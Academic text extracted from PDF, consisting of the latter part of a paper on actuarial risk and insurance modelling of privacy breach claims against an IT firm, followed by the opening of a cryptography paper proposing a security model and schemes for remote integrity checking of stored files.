that the person suffering the privacy incident had decided to act and claim com-
pensation. The mixed Poisson case is a nice way to model the probability and
the waiting time distributions of the events related to when and how often the
person suffering the privacy incident will decide to act. An interesting fact con-
cerning models using mixed Poisson processes is that the increments now may
be dependent, in contrast to the situation for the Poisson process. This intro-
duces difficulties in calculating the statistical characteristics of the total claim
L(t) (defined formally in the next paragraph), but it offers realistic effects to the
model. For instance, the intention of somebody to act against a privacy breach,
may depend on the number of previous breaches that passed without taking any
action. On the same argument, if one has already taken legal action in protest
to a privacy breach, she is more likely to do it again, since she has overtaken
once the ”barrier” of the legal and formal measures to be followed.

4.2 Modeling the Total Claim Amount

The total claim up to time t will be given by the random sum

L(t) =
N(t)∑
i=0

Ci

This is a compound random variable and forms the basis of the model of col-
lective risk in actuarial mathematics. The distribution of L(t) depends on the
distribution of Ci and on the distribution of the counting process N(t). In this
subsection we assume that our population is homogeneous, i.e. the Ci’s are i.i.d.

Assuming independence between N(t) and the size of the arriving claims Cj ,
we may calculate the expected total claim and its variance

E[L(t)] = E[N(t)] E[C]
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V ar(L(t)) = V ar(N(t))(E[C])2 + E[N(t)]V ar(C).

For instance, when N(t) ∼ Pois(λt), straightforward calculations imply

E[L(t)] = λ t E[C1]
V ar(L(t)) = λ t E[C2

1 ]

where E[C1] and E[C2
1 ] can be estimated by the use of the RUM.

In the case where N(t) is modeled with the use of a renewal process, we may
have a more realistic and robust model. The price one has to pay though when
abandoning the nice Poisson type structure of the model is that the statistical
properties of the stochastic process L(t) may no longer be as easily calculated
analytically and one may have to resort to simulation studies. However, ap-
proximate limiting results are available, allowing to state general approximate
but robust results, since they hold under quite general conditions. For example,
an important result from renewal theory states that if E[W1] = λ−1, then the
counting process N(t) that counts the number of claims up to time t satisfies,
almost surely, limt→∞

N(t)
t = λ. This suggests that for a general model utilizing

a renewal process, E[N(t)] is of order λt = t
E[W1]

for large t and this can be

turned into a rigorous limiting argument in the sense that limt→∞
E[N(t)]

t = λ.
Similar asymptotic results can be shown to hold for the variance. For instance,
assuming that E[W 2

1 ] < ∞,

lim
t→∞

V ar(N(t))
t

=
V ar(W1)
(E[W1])3

,

and most importantly a central limit theorem can be shown to hold for the
variance, stating in particular that (V ar(N(t))(E[W1 ])−3 t)−1/2 (N(t)−λ t) con-
verges in distribution to N(0, 1) as t →∞ , thus allowing detailed probabilistic
estimates for this quantity.

Thus, asymptotic results are achievable. For instance, the statistical quantities
of L(t) are estimated as

E[L(t)] = λ t E[C1] (1 + o(1)), t →∞,

V ar(L(t)) = λ t {V ar(C1) + V ar(W1)λ2 (E[C1])2} (1 + o(1)), t →∞

Since the process L(t) provides important information concerning the liability
of the firm with respect to privacy related breaches, more information than just
the moments will be welcome. For instance, within the context of the general
renewal model, central limit type theorems may be proved for the distribution
of L(t). In particular,

P

(
L(t)− E[L(t)]√

V ar(L(t))
≤ x

)
→ Φ(x), x ∈ R (1)

where Φ(x) is the cumulative normal distribution. Such results may provide
detailed information concerning the probability of the total risk the firm is facing.
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In the general case, the characteristic function for the total claim L(t), φ
(s; t) = E[exp(i s L(t))], where s ∈ R and i is the imaginary unit, may be calcu-
lated. Using the independence property of N(t) and Ci we obtain that

φ(s; t) = E[exp(N(t) ln(φC(s))] = mN(t)(ln(φC(s)) (2)

where φC(s) is the characteristic function for Ci.
For example the characteristic function when N(t) is Poisson distributed with

mean function µ(t) is given by

φ(s; t) = exp(−µ(t)(1 − φC(s)))

for real s. Another choice of model for the claim arrival times may be for instance
that the claims arrive with a geometric distribution with parameter p ∈ (0, 1).

Well founded techniques from the theory of actuarial mathematics may be
used for the analytical approximation of the total claim as well as its numerical
simulation.

5 Inhomogeneity of the Population and Disclosure of
More Than One Type of Data

In the above collective risk model we assumed that the population of clients that
may claim compensation for a privacy violation is homogeneous, in the sense that
they all share the same characteristics (income, level of computer literacy etc.).
This may simplify the analysis but it is not a realistic assumption.

We will thus assume that the IT firm has a collection of clients, whose income
is distributed by a probability distribution of income F (y) and whose character-
istics z are distributed by a probability distribution G(z). Then a possible claim
will be a random variable which depends on parameters which are themselves
random variables that follow some probability distribution which is either known
objectively and treated as some sort of statistical probability, or can be thought
of as a subjective belief concerning the composition of the population which may
be treated using the methodology of Bayesian statistics.

If we then assume a logit or probit model with income y and parameters z
then the possible claim will be a random variable C such that E[C | Y = y, Z =
z] = C(y, z) ∼ Logit(y, z) or E[C | Y = y, Z = z] = C(y, z) ∼ Probit(y, z)
respectively.

This is valid for a single claim. We now wish to model the claims coming for
compensation at different times as coming from different individuals (clients)
with different characteristics. Therefore, the collective claim will be

L(t) =
N(t)∑
i=0

C(Yi, Zi)

where the random variables Yi and Zi represent draws from the distribution
F (y) and G(z) respectively, at the times where the point process N(t) takes the
values N(t) = i, i.e. at the times where the claims occur.
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The simulation of the inhomogeneous population model, will give more real-
istic estimates on the possible distribution of claims.

A feasible way of modeling this situation is through the use of the heterogene-
ity model; according to which a firm may have k different customers and each
customer k may be described by the pair (θk, {Ck,t}t) where θk = (yk, zk) is the
heterogeneity parameter which includes the characteristics of the customer, and
{Ck,t}t is the sequence of claim sizes for customer k, over the time interval [0, T ]
that the policy holds. We will assume that the θk are i.i.d. random variables, rep-
resenting draws from the same distribution and that given θk the sequence Ck,t

is i.i.d. with known distribution, provided by the use of the RUM, say F (·, | θk).
Obviously, P (Ck,t ≤ x) = E[F (x | θk)].

The firm would like to estimate the claims expected from a particular customer
type k, given the past claims this customer has asked for, i.e. given data Cobs,k =
{C1, C2, · · · , Ct} for some t ≤ Tobs, where [0, Tobs] is some observation period,
from the history of this customer. To this end, we may use the Bayes estimator,
to obtain the best (in the sense of minimum L2 error) estimate for the quantity
under consideration. The reasonable quantities that enter this estimator will now
be

µ(θk) = E[Ck,t | θk] =
∫

xdF (x | θk)

V ar(θk) = E[(Ck,t − µ(θk))2 | θk]

and the estimator will be

µ̂ = E[µ(θk) | Cobs,k]

The mean square error induced by this estimator will be

E = E[V ar(θk) | Cobs,k]

These estimators depend only on the history of observed claims Cobs,k for cus-
tomer type k. To make further use of these estimators one must find the condi-
tional density of C | θ. This is provided for instance in the case of continuous
distributions by

fθ(y | C = c) =
fθ(y)fC1(c1 | θ = y) · · · fC1(cn | θ = y)

fC(c)

As an example consider the case where the claims are Poisson distributed, and
the parameters are gamma distributed. In this case the Bayes estimator may be
calculated exactly (see e.g. [24]) as

µ̂B =
γ +

∑n
i=1 Ci

β + n

where {Ci} is the observed data and β and γ are the parameters of the gamma
distribution, or in the equivalent representation

µ̂B = (1− w) E[θ] + w C̄
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where C̄ is the sample mean for the customer k and w = n
n+β is a positive

weight. Therefore the estimator can be expressed as a weighted average of the
expected heterogeneity parameter and the sample mean.

The above formulae provide, in principle, an answer for the Bayes estima-
tor, but they cannot in general provide easy to use analytic estimates in cases
other than when special distributions, such as for instance those of the above
example, are used. In the general situation, which is likely to arise in practice,
one may focus on finding linear estimators that minimize the mean square error
even though the Bayes estimator may be of a different form. In other words, in
order to compromise between the accuracy of the exact Bayes estimator and the
feasibility of its calculation we decide to look for estimators in a particular class
of estimators of the form

μ̂ = a0 +
r∑

k=1

nk∑
t=1

ak,t Ck,t

where Ck,t are the observed claims and {a0, ak,t} are constants to be estimated.
The estimation procedure will take place by solving the minimization problem
for the mean square error using standard techniques from linear model theory.
One particular instance leading to an easy to use estimator is the Bühlmann
model [25], which leads to estimators for μ(θk) of the form

μ̂ = (1 − w) E[μ(θk)] + w X̄k

w =
nkV ar(μ(θk)

nk V ar(μ(θk + E[V ar(Ck,t | θk)]

The delicate nature of the claims, which often lead to the need of very refined
statistical study, in the sense that even the same customer or class of customers
may react differently in similar situations, may need heterogeneous models where
heterogeneity is allowed within each policy. This will allow the treatment of
different types of privacy breaches for the same type of customer k. This model
will be treated in a separate publication.

6 Use of the Risk Model for the Insurance and Risk
Management of an IT Business Dealing with Personal
Data

The above collective risk model may be used for the insurance and risk manage-
ment of an IT business that deals with personal data.

6.1 Insurance of an IT Business Handling Private Data

Consider that the IT business enters into an insurance contract with an insurance
firm that undertakes the total claim X = L(t) that its clients may ask for, as a
consequence of privacy breaches, over the time t of validity of the contract. This
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of course should be done at the expense of a premium paid by the IT business
to the insurer. How much should this premium be?

This is an important question, that has been dealt with in the past in the
literature.

One possible principle regarding premium calculation can be the following:
In some sense, the premium should be such that the insurer is in the mean
safe, meaning that it minimizes the risk of ruin of the insurer. Certain premium
calculations principles along this line are π(X) = (1 + a)E[X ] where a is called
the safety loading factor, π(X) = E[X ] + f(var(X)) where usual choices for
f(x) are f(x) = ax or f(x) = a

√
x. Since the expectation and the variance of

X = L(t) can be calculated either explicitly or approximated within the context
of the model presented in this work, the premium calculation is essentially done.

Other possible principles are utility based, studying the incentive of the insurer
to accept the insurance contract for the firm. Clearly, if the insurer decides over
uncertain decisions using an expected utility function U , the total premium π
demanded by the insurer will be such that the lottery w−X+π(X) is indifferent
to the certain wealth w, where w is the initial wealth of the insurer. Therefore,
the premium will be the solution of the algebraic equation

E[U(w −X + π(X))] = U(w)

which clearly depends on both the distribution of X as well as on the choice
of utility function for the insurer. One possible choice would be the exponential
utility function U(x) = − 1

a exp(−α x) which leads to the premium calculation

π(x) =
1
a
ln(E[eaX ]).

The quantity E[eaX ] can be calculated for the risk model introduced above
through the properties of the characteristic function (see equation (2)).

The methods of Section 5 may be used for a more accurate and fair calculation
of the premium charged by the insurer, through the design of more personalized
contracts, dealing with particular firms who interact with particular types of
data and customers. The sophisticated techniques of Credibility Theory [25],
may be used to estimate the correct individual premia for particular classes of
customers. For instance, assuming a linear premium calculation principle, the
correct individual premium for a firm treating customers in class k would be
proportional to µ(θk). But in practice both θ and µ(θ) may be unknown, so it
is necessary to estimate them. Bayes estimators such as those of Section 5 may
be used to estimate the correct individual premium, using observations of the
claims from particular types of customers. Such Bayes estimators are often called
the best experience estimators, for obvious reasons. The collective premium for a
collection of different customer types may be estimated by taking the expectation
of the individual premium over the distribution of different customer types U(θ).

6.2 Optimal Insurance Coverage of the Firm

Assuming oligopoly in the insurance business sector, the insurer decides on the
levels of the premium to be charged per unit of coverage. This assumption is not
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unreasonable, since, for such specialized contracts, we expect that only a small
number of insurance companies will be interested in offering them.

Once the premium levels are set, using the principles provided in Section 6.1,
the firm may decide on the optimal coverage that it will buy from the insurer.
This may be done by considering an optimization problem. If the premium per
unit of coverage is π, and the firm decides to cover itself for the total compensa-
tion qX given that claims X occur then it faces the lottery w−X + qX − πqX .
It will choose the level of coverage q by solving the maximization problem

max
q

E[U(w −X + q X − π q X)]

given π. This will give the optimal coverage for the firm.

6.3 Risk Management of the IT Firm

For the risk management of an IT business handling personal data one may ask,
what is the sum that is in danger at time t for the business at some certainty level
α? This is the value at risk (V aR) for the IT firm which is defined through the
quantile of the random variable L(t). More precisely, the value at risk of the firm
at time i with confidence level α is V aR(L(t); α) = x, where P (L(t) > x) = α for
some α ∈ (0, 1). This corresponds to the largest sum that the firm is jeopardising
at time t with a confidence level α. This quantity which is very important for
the financial decisions of the firm can be calculated or approximated through
our collective risk model.

For instance, in the case of the renewal model for the arrival of claims one
may use the large deviation estimates given by (1) to provide estimates for the
value at risk of the firm. In other, more complicated models, simulations may
provide an answer.

6.4 Other Applications

The applicability of our collective risk model is by no means limited to the above
applications.

Another alternative is its use for the design of contract structures between
different firms handling sensitive data, or between such firms and insurers so as
to allow for the optimal risk transfer and the best possible coverage. One may
thus define the analogues of credit swaps or other credit derivatives that will
effectuate the optimal risk transfer.

Another application of the proposed risk model is the study of an optimal
insurance contract offering optimal coverage to two firms A and B, where A
is assumed to be a contractor, subcontracting a project to B that is assumed
to be of questionable credibility. As such, B may deliberately reveal private
data of the clients of A for its own interest, thus exposing A to possible claims
from its clients. One possible way of covering itself against this situation is to
enter into a joint insurance contract so as to optimally cover its possible losses.
In [26] we have studied the design of the optimal contract for this situation,
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taking for granted the possible loss L for a security violation or privacy breech.
The collective risk model proposed here, may be used within the context of [26]
to refine the modeling of the subcontracting situation in the case of privacy.

7 A Simulated Example

In order to obtain a feeling of the practical aspects of the previous discussion
we present a simple simulated example. We consider an IT firm that is worried
about possible privacy violation claims by its clients. We make the following
assumptions:

(1) Under no privacy violation incidents, the end of period wealth of the IT firm
will be W = 100 000.

(2) The IT firm has 100 clients
(3) Each client has income y drawn from a Pareto distribution with mean 20 000,

mode 10 000 and Pareto index 3
(4) Each client has personal characteristics described by a 10-dimensional vector

z. Each coordinate of z can take a value equal to either 1 or 0 with probability
0, 5. A coordinate equal to 1 means that the client exhibits the corresponding
characteristic, while a coordinate equal to 0 signifies that the client lacks the
corresponding characteristic.

(5) Each client’s level of satisfaction at each privacy state i ∈ {0, 1}, is described
by a random utility function ui(y, z) + εi with ui(y, z) = y + biz, b0 − b1 =
(200, · · · , 200) and error term ε = ε0 − ε1 normally distributed with mean 0
and variance 1.

(6) The number of claims from these clients within the next period follows a
Poisson distribution with parameter λ = 50.

The next figure illustrates the resulting distribution of the total claim that the
IT firm may faces under the above assumptions. The mean of the distribution is
approximately 50 000 and the standard deviation is about 7 500, while with 95%
confidence the total claim will not exceed 63 000 .

Suppose now that the IT firm is considering to purchase insurance in order
to cover against possible privacy violation claims. Let π(X) denote the premium
that an insurance company is charging in order to offer complete coverage to the
IT firm for the next period. By the expression ’complete coverage’, we mean that
if the IT firm has to pay a compensation x to its clients for privacy violations
claims during the next period, then the insurance company will reimburse the IT
firm the full amount x. However it may not be optimal for the IT firm to obtain
complete coverage at the required premium π(X) that the insurance company is
charging. Therefore, the IT firm faces the problem of deciding what is the optimal
percentage q of coverage that should be bought from the insurance company; the
IT firm will pay a premium qπ(X) to the insurance company and if during the
next period the IT firm is required to pay an amount of x to its clients because
of privacy violation claims, then the insurance company will compensate the IT
firm by an amount of qx.
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Fig. 1. The distribution of the total privacy violation claims under assumptions 1-6.
The expected value is equal to approximately 50 000 and the standard deviation is
about 7 430. With 95% confidence, the total claim will not exceed 63 000.

Assume moreover that the IT firm, deciding on the basis of expected utility, has
preferences with regard to end of period wealth that are described by a utility
function U(x). Then, given the insurance premium π(X), the IT firm has to
solve the maximization problem

max
q

E[U(W −X + q X − q π(X)]

To make things more concrete, let us consider two cases of utility functions
of the IT firm, an exponential one given by U(x) = 1 − exp(−0, 003% x) and
a logarithmic one given by U(x) = ln(x). It turns out that, no matter which
utility function is used, if the premium demanded by the insurance company is
π(X) = 55 000 then q = 0, i.e. the IT firm is not willing to obtain any insurance
at all for such a price. If however π(X) = 50 000 (which is the expected value of
the total claim) then, no matter which utility function is used, it turns out that
q = 100%, i.e. at this price the IT firm is willing to obtain full coverage. Finally,
for a price π(X) = 50 200 it turns out that q = 80% in the case of exponential
utility, while q = 71% in the case of logarithmic utility.

Suppose now that, after further investment in infrastructure and strengthen-
ing of security procedures, the IT firm revised its model about the number of
privacy incidents claims arriving within the next period and has estimated that
it follows a Poisson process with parameter λ = 10. Then the distribution of the
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total claim exhibits a mean of approximately 10 000 and a standard deviation of
about 3 300, while with 95% confidence the total claim will not exceed 16 000.
This kind of analysis may complement a cost benefit analysis of the IT company
well with regard to the level of security related investments.

8 Conclusions

Management of personal data is today becoming a crucial need for many users,
applications and IT firms. In this paper a risk model which models the risk that
an IT firm is exposed to, as a result of privacy violation and possible disclosure of
personal data of her clients, has been proposed. The basis of the model is a RUM,
which aims at capturing the subjective nature of the privacy value. A collective
risk model has also been proposed, modeling the exposure of the firm over a
certain time period, for homogeneous and inhomogeneous client populations.
The model has been used for designing and valuating insurance contracts that
optimally cover the firm or for risk management purposes. The model may be
utilized in the framework of many other interesting applications.
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Abstract. We are interested in this problem: a verifier, with a small
and reliable storage, wants to periodically check whether a remote server
is keeping a large file x. A dishonest server, by adapting the challenges
and responses, tries to discard partial information of x and yet evades
detection. Besides the security requirements, there are considerations on
communication, storage size and computation time. Juels et al. [10] gave
a security model for Proof of Retrievability (POR) system. The model
imposes a requirement that the original x can be recovered from multiple
challenges-responses. Such requirement is not necessary in our problem.
Hence, we propose an alternative security model for Remote Integrity
Check (RIC). We study a few schemes and analyze their efficiency and
security. In particular, we prove the security of a proposed scheme HENC.
This scheme can be deployed as a POR system and it also serves as
an example of an effective POR system whose “extraction” is not verifi-
able. We also propose a combination of the RSA-based scheme by Filho et
al. [7] and the ECC-based authenticator by Naor et al. [12], which
achieves good asymptotic performance. This scheme is not a POR sys-
tem and seems to be a secure RIC. In-so-far, all schemes that have been
proven secure can also be adopted as POR systems. This brings out the
question of whether there are fundamental differences between the two
models. To highlight the differences, we introduce a notion, trap-door
compression, that captures a property on compressibility.

1 Introduction

Recently, there is growing interests in remote verification of storage server. Con-
sider the scenario where Alice has a large file x which she wants to store in a
peer-to-peer backup system, and she does not want to keep it locally. Bob, a peer
node, promises to keep the file for Alice. However, Bob might discard portion of
x to save storage, or temporarily move the file to a slower storage, hoping that
Alice may not need it during the period. To prevent cheating, periodically, Al-
ice wants to remotely check that Bob indeed has x readily available for reading
without retrieving the whole x.

Besides the security requirements, the scheme has to be efficient. There are a
few resources to be considered: (1) The amount of communication bits required
per verification should be small. (2) The storage at the verifier should be small.
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We want to limit it to a constant factor of κ, where κ is a security parameter
sufficiently large for cryptography, for e.g. κ = 1024. (3) The size of the addi-
tional storage at the server should be small. Although it is desired to have O(κ)
additional storage, sublinear (w.r.t. the original file size) is also acceptable. (4)
Finally, computation per verification should be low. To quantify the amount of
computation, we measure the number of bits accessed from the storage.

Security Model. Let us call the problem considered in this paper Remote In-
tegrity Check (RIC). Formulating the security requirement is tricky since the
server is free to transform the data. Juels et al. [10] proposed a security model for
Proof Of Retrievability (POR) system. Roughly, a scheme is secure if, there is a
polynomial time extractor, s.t. for any server that is able to pass the verification,
the extractor can recover the original file by carrying out multiple verifications.
There is a subtle but crucial difference between POR system and the RIC.
Under POR, the original can be recovered by interacting with the server. This
requirement on recovery is not necessary in remote integrity check, where ver-
ification and recovery can be carried out in two different phases. For example,
in the previous application of peer-2-peer backup, when Alice decides to recover
the file x, she can retrieve the whole x and then checks the integrity of x using
the usual message authentication code or signature, without carrying out the
verification protocol.

Without the recovery requirement, we may be able to design schemes with
better performance. One possible candidate is the simple and yet interesting
RSA-based scheme by Filho et al. [7]. In this scheme, the server’s response is
rx mod n, where x is the file treated as a single integer, r a randomly chosen
challenge and n a composite. Since the responses only contain information of
x mod φ(n), thus it is impossible to recover x from multiple challenges-response.
Nevertheless, the RSA-based scheme seems able to detect a dishonest server who
has discarded partial information. Another example is a scheme by Ateniese et
al. [2]. Similarly, it is impossible to recover the original by interacting with their
server. Thus it is inappropriate to prove the security of these schemes using
security model of POR, and a “weaker” security model for RIC is needed.

We propose a variant of security requirement where the extractor, instead
of interacting with the server, has complete access to the server’s storage. Two
forms based on the computing power of the extractor are considered. We first
consider extractor which is a maximum likelihood decoder and does not impose
constrain on its computing time. If a scheme is secure under this setting, we call
it weakly-secure. We also consider extractors that are probabilistic polynomial
time. The security of a scheme is parameterized by (β, γ). Intuitively, a scheme
is (β, γ)-secure (or weakly secure) if, for any server that can pass the verification
with probability β, then there is an extractor who can recover the original from
the verifier’s and server’s storages with probability at least γ.

In-so-far, all schemes that have been proven secure under RIC can also be
employed as a secure POR. This indicates some intriguing differences between
POR and RIC. To highlight this issue, we reformulate the model to a simple
form which we call trap-door compression: Consider a keyed-hash family. With a
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secret key, the owner can lossily (that is, some information has been discarded)
compress the file x to x̃, s.t. for any r, the hashed value H(r,x) can be computed
from x̃, r and the secret key. However, without the secret key, any dishonest
server is unable to discard partial information and yet able to compute the hash.
In other words, without the secret key, compression w.r.t. the keyed-hash family
is computationally difficult. Note that from a trap-door compression, it is easy
to build a RIC which is not a POR system. This property on “compressibility”
could be of independent interest.

Proposed Schemes. The error correcting code (ECC) based authenticator
[4,12] can be directly employed as a RIC and POR (we call this scheme AUTH).
The scheme AUTH introduces redundancy into the file to achieve tradeoff between
additional storage and the number of bits read per verification. Such generic
technique is effective and hence we want to design schemes whereby the technique
can be incorporated. On the other hand, the main drawback of AUTH is the large
server’s storage required. For example, it requires at least 4 times more storage
space if a single verification achieves less than 0.5 false acceptance rate. To lower
the false acceptance rate, multiple verifications can be made but that will incur
more communication bits.

To reduce the communication bits, we can use a simple homomorphic MAC
and an almost universal hash family. This scheme is also proposed by Shacham
et al. [14] and this paper is an independent work. Let us call this scheme HTAG.
Essentially, HTAG hashes and aggregates multiple challenge-response into one,
and thus reducing the number of communication bits to a constant factor of κ.
However, there is no reduction in the storage size.

We next give a simple scheme HENC which requires sub-linear (w.r.t. the file
size) additional storage but more communication bits. HENC sends a sequence of
the form (gαr mod p), (gαr2

mod p), . . . during verification, where α and r are
secrets. Using a bilinear map, the communication bits can be reduced by square-
root of the original. We can show that HENC is a weakly-secure RIC. By using
the Paillier cryptosystem, we can obtain a variant that is a secure RIC. HENC can
be used as POR system: to recover the file, the owner uses another algorithm to
generate the queries. However, the response from the server cannot be verified.
Hence, HENC also serves as an example of a POR system whose extraction is
not verifiable [5]. We also propose HYB, a hybrid of HENC with HTAG, that further
reduces communication bits.

Along another direction in improving AUTH, we incorporate a redactable sig-
nature [9] scheme to reduce the additional storage down to a constant factor of
κ. Let us call this scheme REDACT. During setting up, the original file x is en-
coded and expanded to y as in AUTH, and a redactable signature of y is obtained.
However, the server only need to store the original x and the signature. When
the verifier wants to know the i-th object in y, the server derives y from x, and
computes the redactable signature for the requested object. It is not difficult to
show that REDACT is a secure RIC and POR. Clearly, the main disadvantage is
the computation time, and it is not clear how to aggregate multiple responses
to reduce communication bits.
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Filho et al. [7] proposed a scheme based on a collision resistant hash, which is
a candidate of trap-door compression function. Let us call it RSAb. It seems to be
secure but there is no rigorous proof. RSAb consumes the same resource as REDACT
and require intensive computation. Fortunately, we can exploit its homomorphic
properties to trade-off the number of bits read with the storage size, while keeping
communication cost unchanged. Let us call this extension RSAh. Among the
schemes studied in this paper, RSAh achieves the best asymptotic performance.

Performance. Table 1 gives a summary on performance. A reasonable choice
of the parameters is: c = 0.2, w = 500, � = 1000 and κ = 1000. Thus, if the
file is 1Gbits, then for AUTH-(c, w), the total storage required at the server is
roughly 2.4Gbits, and the server has to send at least 1Mbits during verifica-
tion. In contrast, HTAG-(c, w) requires only 4000 communication bits although it
still requires 2.4Gbits total storage. HYB-(c, w) and REDACT-(c, w, �) require only
roughly 1.2Gbits total storage. RSAh-(c, w, �) reduces the total storage size to
roughly 1.2Gbits and communication cost to 5000 bits.

Contribution. We propose a security model for RIC. Unlike the previously
known model for POR, the extractor can access the server’s storage. We propose
a few schemes: HTAG, HENC, HYB, REDACT and RSAh. Shacham et al. [14] gave a
scheme same as HTAG and this paper is an independent work. The performance
of these schemes is summarized in Table 1. The scheme HTAG, HENC, HYB and
REDACT can be shown to be secure under reasonable cryptographic assumptions.
Interestingly, schemes that have been proven secure under RIC can also be
deployed as POR systems. To highlight the difference between the two models,
we introduce the notion of trap-door compression.

Table 1. The size of the original file is wκ bits. The file is expanded to a factor of
(1 + c) using ECC, grouped into blocks where each block contains 	 elements, and w
“requests” are made during a single verification. When w = κ and c = 1, they are
either (2−κ, 1 − negl(κ))-secure or weakly secure. For RSAh, there is no formal proof of
its security.

Scheme Additional Storage Bits accessed Communication Refer to

AUTH-(c, w) [12] (1 + 2c)mκ + O(κ) 2wκ (1 + 2w)κ Section 4.1
HTAG-(c, w) [14] (1 + 2c)mκ + O(κ) 2wκ O(κ) Section 4.2

HYB-(c, w, 	) (c + 1+c
�

)mκ + O(κ) O(wκ	) O(κ
√

	) Section 4.4
REDACT-(c, w, 	) (c + 1+c

�
)mκ + O(κ) O(wκ	) O(wκ) Section 4.5

RSAh-(c, w, 	) (c + 1+c
�

)mκ + O(κ) O(wκ	) O(κ) Section 4.6

2 Related Work

This paper is motivated by applications in remote-backup and peer-to-peer
backup ([1,3,11]). Peer-to-peer backup system requires a mechanism to maintain
the availability and integrity of data stored in peer nodes. Li et al. [11] proposed
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to choose neighboring nodes based on the social relationships and relies on the
principle that people are more likely cooperative with friends.

Recently, there is a growing interest in the cryptographic aspects of the
problem. Perhaps Filho et al. [7] first studied the scenario where the verifier
does not has the original. They described two potential applications: uncheat-
able data transfer and demonstrating data procession, and proposed the RSA-
based scheme. Juels et al. formulated the POR system and gave a security
model [10]. They also proposed a sentinel-based method. However, the sentinel-
based method can only support constant number of verifications. A refined se-
curity formulation is given in a recent technical paper [5]. The main difference
of POR and RIC is in the requirement on file recovery. Ateniese et al. [2]
gave a model for Proof of Data Procession system, and proposed a few schemes
that provide tradeoff of computing time and storage size. These schemes can
be viewed as an extension of the RSA-based scheme. Our scheme RSAh exploits
similar idea, but is enhanced with ECC and in a simple form. Ateniese et al. [2]
adopted the security model of POR and showed the security of the proposed
schemes. However, it is inappropriate to apply POR security model since the
original file cannot be recovered by interacting with the proposed server. In a re-
cent technical paper, Shacham et al. [14] proposed a scheme which is essentially
the same as the scheme HTAG independently given in this paper. The security
model of RIC in this paper is based on notations and insight provided by Juels
et al. [10] and an earlier manuscript [6].

Remote integrity checking is closely related to memory integrity verifica-
tion [4,15]. The notion of authenticator proposed by Naor et al. [12] is formulated
for memory integrity check. Nevertheless, an authenticator can also be deployed
as a POR and RIC system. In particular, the idea of introducing redundancy
to tradeoff resources is useful in our problem. Under the authenticator model,
the queries sent must be requests of values at particular memory locations. Such
restriction is not present in our problem, where the verifier may request for some
computation to be done on the file.

The trap-door compression may be related to a notion by Harnik et al. [8]
on compressibility of NP decision problems. Consider a NP decision problem,
they studied compression that preserves the solution to an instance rather than
preserving the instance itself.

3 Formulations and Definitions

Our formulation is based on the POR model proposed by Juels et al. [10] and
the manuscript [6]. Roughly, a scheme is (β, γ) secure if, for any adversary who
can pass verification with probability at least β, then there is an extractor who
can recover the original with probability at least γ. The main difference of our
model from POR is the type of information accessed by the extractor and its
ability. Under POR, the extractor is probabilistic polynomial time (PPT ) and
it can interact with the server, and has access of the verifier’s storage. Under
RIC, the extractor has access to both the verifier’s and the server’s storages. We
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consider two settings. Firstly, the extractor is a maximum likelihood decoder,
whose performance is an upper bound on all PPT extractors. For schemes that
satisfy this setting, we say that they are weakly secure. Next, we consider ex-
tractor which is PPT . If a scheme is weakly secure, the adversary is unable to
discard information and yet evade detection. However, there might not be an
efficient algorithm in recovering the original. For instance, an adversary might
apply an one-way function on the data and yet be able to carry out the verifica-
tion. Although no information is lost, there is no efficient algorithm to transform
it back to the original. Such weaker requirement is easier to handle.

3.1 Remote Integrity Check Model

A remote integrity check (RIC) system consists of two entities, the owner
and the server. The life cycle of RIC starts with a setup phase followed by a
sequence of verification phases. An owner has a small private and reliable memory
and is associated with three PPT (polynomial w.r.t. the security parameter κ)
algorithms, the key generator K, the encoder E and verifier V . A server has a
large storage and is associated with a PPT algorithm, the prover P .

Setup Phase. An owner has a file x ∈ {0, 1}∗, and chooses a key k using the
key generator: k ← K(κ). Given x and k, the encoder E outputs public data px

and private data sx, that is, E(x, k) = (px, sx). The public data px is then sent
to the server and stored in server’s storage. The private data sx is stored in the
owner’s private memory.

Verification Phase. During this phase, V (on the owner side) interacts with P
(on the server side). Let Ms denote the (possibly modified) storage content at
the server. Let 〈V(sx),P(Ms)〉 be the output of V after the interactions, which
is either 0 or 1. If it is 0, the owner rejects the server. A RIC system is valid
if 〈V(sx),P(px)〉 always outputs 1. In this phase, the owner plays the role of
verifier, hence we use the terms “owner” and “verifier” interchangeably.

3.2 Security Model

Adversary. The adversary will go through two phases: learning phase and
challenge phase. In the two phases, the adversary behaves in different modes
accordingly. We denote the adversary with A. During the learning and challenge
phase, we write it as Alearn and Achal respectively.

Learning Phase. The adversary chooses1 a data file x and sends it to the owner.
The setup phase in the previous section is then carried out. Next, polynomial
number of verifications are carried out and the adversary (who plays the role of
server) does not need to honestly follow the verification protocol. The adversary
may modify the storage but it will be fixed at the end of the learning phase. Let
us denote the storage content as Ms.

1 In practice, the data file is chosen by the user. Here we assume a stronger adversary.
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Challenge Phase. During the challenge phase, the memory content Mc of
the verifier and the Ms at the adversary will be fixed, i.e. both the verifier and
adversary are stateless.

Advantage of Adversary. The goal of an adversary is to discard some in-
formation, but yet evade detection. We will model the information loss in two
different settings. Under the first setting, we consider the maximum likelihood
decoder given Ms and Mc. Let Y0,Y1 and Y2 denote the random variable
for data x, adversary’s memory Ms and verifier’s memory Mc respectively. We
define ML(Ms,Mc) as follow.

ML(Ms,Mc) = max
x0

Pr (Y0 = x0 | Y1 = Ms,Y2 = Mc) .

We define SuccchalA (Ms,Mc) as the probability that adversary A passes verifi-
cation, given that A has Ms and the verifier has Mc.

SuccchalA (Ms,Mc) = Pr
[
ExpchalA (Ms,Mc) = 1

]
.

We define the advantage AdvML
A (β, γ; κ) of adversary w.r.t. security parameter κ

as follow.

AdvML
A (β, γ; κ) = Pr

[
(x,Ms,Mc) ← ExplearnA (κ) ∧

SuccchalA (Ms,Mc) ≥ β ∧ ML(Ms,Mc) < γ

]
.

Intuitively, the advantage of the adversary A is the probability that, A achieves
false acceptance rate of at least β after learning, but the information loss of x is
at least 1− γ.

Definition 1. A remote integrity check system is (β, γ)-weakly secure, if for any
PPT adversary A, the advantage AdvML

A (β, γ; κ) of A is negligible in κ, i.e. for
any positive polynomail poly(·), for all sufficiently large κ,

AdvML
A (β, γ; κ) ≤ 1

poly(κ)
.

Note that Definition 1 is equivalent with

Pr
[
(x,Ms,Mc) ← ExplearnA (κ) ∧ SuccchalA (Ms,Mc) ≥ β

⇒ ML(Ms,Mc) ≥ γ

]
= 1− negl(κ).

That is, if A passes verification with high chance (≥ β), then the information
loss is low (< 1− γ) with overwhelming high probability.

Similarly, we define the the security for PPT extractor. The success probability
of an algorithm extract, which tries to extract x from Mc and Ms, is defined
as follow.

SuccextractA (Ms,Mc;x) = Pr
[
x∗ ← extractA(·)(Ms,Mc) ∧ x∗ = x

]
.
